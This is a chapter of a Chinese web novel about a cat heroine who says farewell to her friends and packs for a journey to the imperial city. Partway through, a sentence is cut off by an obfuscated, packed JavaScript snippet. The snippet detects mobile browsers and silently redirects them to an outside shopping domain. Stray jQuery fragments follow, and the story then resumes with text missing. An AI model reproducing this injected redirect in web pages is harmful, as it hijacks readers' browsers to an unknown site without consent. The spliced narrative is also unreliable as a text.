文趣网 > 其他小说 > 喵喵女侠闯江湖 > 25. 启程
    她第二天一早就去找了耳灰。天还没透亮,墙根底下的晨雾贴着地面铺开,像一层被揉薄的旧棉絮,走进去的时候毛尖上会凝起细密的水珠。她在一段被废弃的矮墙后面找到他,他蜷在一堆干草里,露出的灰色耳朵边缘沾着露水。他在她靠近第二步的时候就睁开了眼,像一扇一直醒着的门,只是没有发出声响。

    她蹲在他面前,把夜枭说的信息完整地告诉他——皇城西区旧粮仓、地下暗牢、最里面那间、右耳耳背偏下的旧疤、子时换班、两炷香空档。她说得很慢,像在铺一张他需要看清楚的旧地图。耳灰蹲在干草堆里听完了,从头到尾没有打断她。他把每个信息都接过来了,确认清楚了,没有说“知道了”,但他把每一个字都放进了自己脑子里。过了一会儿他开口,声音像被砂纸磨过的铁:“她右耳那道疤是她三岁的时候被一块碎瓦片划的。那天她蹲在墙根底下剥豆子,旁边有人在拆棚顶,瓦片掉下来,边角擦过去。血流了很多,她没哭,用爪背抹了一下,把豆子捡起来继续剥了。”

    他站起来,抖掉干草屑:“你要去皇城?”她点头。“什么时候?”她比划:这两天。“我跟你去。”他蹲在她面前,离她只有一个手臂的距离:“我对那边比你熟。夜枭的人怎么走路、怎么换防、怎么在城里藏东西——我做了三年,大部分都记住了。你一个人进去,找不到暗牢入口。我跟你去,你能少走一半弯路。”

    她蹲在他面前,看着他,思考了几息。带着他意味着多一个变数,但也意味着多一个知道怎么走的人。她点头。他看了她片刻,然后慢慢移开目光:“谢谢。不止是为了我妹妹,也谢谢你替我把那包东西留住了。”

    下午她去了一趟柳三娘的药摊。柳三娘正在把晒干的草叶装进布袋,手指捏着叶片边缘一片一片地放进去,动作很慢。她看着林晓在她面前蹲下来,合上袋口:“你要走了?”林晓点头。柳三娘把手在围裙上擦了擦:“去哪儿?”林晓指了指南边,皇城的方向。柳三娘看了她一会儿:“回来吗?”林晓想了想,点头。她会在一个不确定的时间里回来,但她愿意把“回来”这个动作放在那里。

    柳三娘从案板底下翻出一个布袋,比之前装药的布袋小一圈,扎口扎得紧:“这里面是干的,够你路上吃几天。”林晓接过来掂了一下,轻,但塞得实在。柳三娘蹲在她面前看了她一会儿:“你走了之后,墙根底下还会有人传你的事。传到后面可能传得跟你不像了,到时候你回来听见了别认。”林晓蹲在案板前面,低头把布袋收进胸口布包里。然后她又看了柳三娘一眼,像要把这个摊子、这张案板、这双沾着药渍的手都记进同一个角落。柳三娘朝她摆了摆手,然后蹲回去重新把布袋扎紧。

    傍晚她去了女人蹲着的棚子附近。女人的药已经喝完了,换成了更清淡的日常干粮,前爪上的白皮没有再扩大,虽然也没有明显消退,但她能站起来走几步了,不再需要一直蹲着。她看见林晓蹲在不远处的断墙后面,撑着地面站起来,慢慢走到她面前蹲下:“你要走了?”林晓点头。女人看了她一会儿:“我病好之前回不了灵山,但我在墙根底下还有地方待。”她把手里一件东西递过来,是一小包干草药,用碎布裹着,边角折得整齐:“这个你带着,路上万一受了刀伤,嚼碎了敷上,止血比干草快。”

    林晓接过那包药,翻看了一下裹布的形状,然后放进胸口布包。她看着女人,又看了一眼她前爪上那层没有完全褪尽的白皮——范围没有扩大,但边缘还留着一圈浅色的旧痕,像水退之后河床上留下的印子。“等我回来,”她比划了一个“回来”的手势,“如果你的病还没好,我陪你回灵山。长老进不去,我们就等门开。”女人听了之后没有点头,也没有摇头。她只是蹲在那里,像一棵被风吹了很多年终于把根扎进石缝里的草。

    天黑之后林晓回到凹位,开始收拾东西。她把布包里的干粮重新理了一遍:柳三娘给的饼叠好压平,女人给的药包放在内侧贴身处。悬木的坠子给了耳灰,布包里少了一件东西的重量,她伸手进去摸了一下空出来的那格位置,然后把箱子拖出来打开,把里面的纸重新翻了一遍。铁皮箱太重了,她不可能背着它走。她需要把里面的东西转移出来——重要的几页折好贴身收着,不重要的压在原地。她挑了七页纸:转运记录最上面那页,六个名字的那页,盖着印章的那页,还有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932377|213644||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    四页内容互相关联的。她把折好的纸塞进布包最内层的夹缝里,贴着黑石坠子留下的空位放好,然后用干粮压住它们,让它们在布包里的位置固定下来。剩下的纸放回箱子里,合上盖子,把箱子推回墙角,用油布盖好,再压上一块她从旁边捡来的条石。如果有人翻到这个凹位,会看见一只被油布盖着的铁皮箱,看不出里面装过什么。

    她把剑从背上解下来,重新调整了绑带的位置,让它贴得更紧。铁棍换到短刀并排的位置,两件东西一左一右地贴着她腰侧放着。她站起来走了一圈,确认它们不会在跑动中相互碰撞。然后把斗笠拿起来擦了擦,把披风重新拢了拢系带,让它在背上的长度刚好盖到尾巴根部。

    然后她掀开油布往外看了一眼。月亮正在升起来,照亮了墙根北段的地面,尘土在一整天的踩踏之后被风抚平了,呈现出一种均匀的灰白色。墙根底下的灯火稀了,稀到只剩几盏还亮着,像几粒还没灭的炭火散落在黑色的地面上。远处棚子里有一个小孩在咳,咳了几声被大人哄住了,然后安静下来。北风吹过墙顶,带起一阵细沙,撒在油布上沙沙作响,像有一只手在整理纸张的边角。

    她蹲在凹位口,看着那片被月亮照亮的墙根,在脑子里把墙根底下的地图最后翻了一遍:南面是关口,是她来的路。北面是长城主墙,是她待了这些日子的城墙。东面是废石场,是那只铁皮箱和与夜枭的交换。西面是一片旷野。她没见过西面有什么,她不打算从那边走。

    她放下油布,坐回墙边,把短刀横在膝盖上。风还在吹。油布被风掀起来又放下,掀起来又放下,缝隙里漏进来的月光在地面上画出一道移动的白色光斑,像一个正在缓慢翻面的硬币。她的耳朵动了一下,又慢慢伏平了。明天天亮之后她就要走了,沿着南面的关口出去,往皇城的方向走,旁边是耳灰,前面是皇帝、苏晚棠、归巢咒、皇城兵部档案室、西区旧粮仓,和埋在灵山外面的那道她还没有看到的封锁线。后面是墙根底下这些她知道名字和不知道名字的人:柳三娘、耳灰、患病的女人、干粮摊主、送短刀的人。他们都在她身后,像一面她回过头就能看见的墙,但墙面上不是石头,是光。